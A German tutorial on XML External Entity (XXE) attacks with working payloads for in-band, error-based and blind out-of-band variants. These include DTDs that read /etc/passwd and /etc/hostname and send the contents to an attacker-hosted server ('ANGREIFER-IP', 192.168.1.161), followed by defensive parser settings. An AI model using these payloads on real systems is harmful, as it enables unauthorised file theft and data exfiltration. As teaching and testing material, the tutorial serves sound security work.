XXE Attack
Was ist XXE?
XXE (XML External Entity) ist eine Schwachstelle, die auftritt, wenn eine Applikation XML-Daten verarbeitet und dabei externe Entitäten erlaubt. Ein Angreifer kann dies ausnutzen, um:
lokale Dateien vom Server auszulesen
Server Side Request Forgery (SSRF) durchzuführen
interne Systeme zu scannen
Denial-of-Service zu erzeugen
eventuell sogar Code auszuführen (bei unsicheren Parsern)
Warum funktioniert das?
XML erlaubt die Definition sogenannter Entities – Platzhalter für Inhalte. Mit einer externen Entity wie:
<!ENTITY myEntity SYSTEM "file:///etc/passwd">
weist man den Parser an, den Inhalt der Datei /etc/passwd
zu laden, wann immer &myEntity;
im XML auftaucht.
Typen von XXE
1. Basic XXE (In-Band)
Die Datei wird direkt im Response sichtbar.
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root>
Warum funktioniert das? Der Parser ersetzt &xxe;
mit dem Inhalt der Datei. Die Antwort des Servers zeigt uns den Inhalt direkt an.
2. Error-Based XXE
Hier wird eine Datei über Umwege in einer Fehlermeldung sichtbar gemacht. Dabei brauchst du einen eigenen Webserver, der die bösartige DTD-Datei hostet.
malicious.dtd (auf eigenem Webserver, z. B. python3 -m http.server 8000
):
<!ENTITY % ext SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%ext;'>">
%eval;
%error;
XML Input:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://ANGREIFER-IP:8000/malicious.dtd">
%xxe;
]>
<root><name>test</name></root>
Erklärung:
%ext;
enthält den Dateiinhalt%eval;
baut daraus eine neue Entity%error;
%error;
triggert einen Fehler, wenn die Datei nicht existiert, und der Pfad (mit%ext
) erscheint im Errorlog oder ResponseDie Datei
malicious.dtd
wird vom XML-Parser über deinen Webserver nachgeladen
3. Out-of-Band XXE (Blind XXE)
Nutzt externen Callback (HTTP/FTP), um Inhalte abzugreifen, wenn keine direkte Antwort zurückkommt. Auch hier benötigst du einen eigenen Webserver, z. B. mit Python:
python3 -m http.server 9000
XML Input:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://192.168.1.161:9000/oob.dtd?resource=file:///etc/hostname">
%xxe;
]>
<root><name>Tib3rius</name></root>
oob.dtd (gehostet auf deinem Webserver):
<!ENTITY % data SYSTEM "%resource;">
<!ENTITY % send "<!ENTITY % exfil SYSTEM 'http://192.168.1.161:9000/?x=%data;'>">
%send;
%exfil;
Erklärung:
%xxe
holtoob.dtd
vom Angreiferoob.dtd
referenziert die Datei/etc/hostname
Diese wird als Parameter
%data;
in einen HTTP-GET eingebettet (/?x=...
)Die Daten kommen als HTTP-Anfrage auf dem Angreifer-Server an
Beispiel-Test-Setup
Angreifer-Server starten:
python3 -m http.server 8000
Testziel sendet XML mit
SYSTEM "http://<deine-ip>:8000/malicious.dtd"
HTTP-Requests beobachten – Dateiinhalt wird als Parameter gesendet
Nützliche Dateien zum Testen
/etc/passwd
(Unix)/etc/hostname
c:/windows/win.ini
(Windows)c:/windows/system32/drivers/etc/hosts
Schutz vor XXE
DTDs deaktivieren:
parser.setFeature("http://apache.org/xml/features/disallow-doctype-decl", True)
Externe Entitäten verbieten:
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
Whitelist-basierte Input-Validierung
Libraries wie
defusedxml
(Python) verwenden
Fazit
XXE ist extrem gefährlich, wenn XML-Eingaben unsicher verarbeitet werden. Besonders bei APIs oder Konfig-Formularen solltest du XML-Eingaben immer kritisch betrachten. Die Kombination aus BurpSuite, einem HTTP-Server und cleveren DTDs reicht oft aus, um Dateien zu exfiltrieren oder Systeme zu scannen.
Tipp: Nutze diese Payloads für CTFs oder Testumgebungen. In Produktivsystemen: nur mit Genehmigung!
Last updated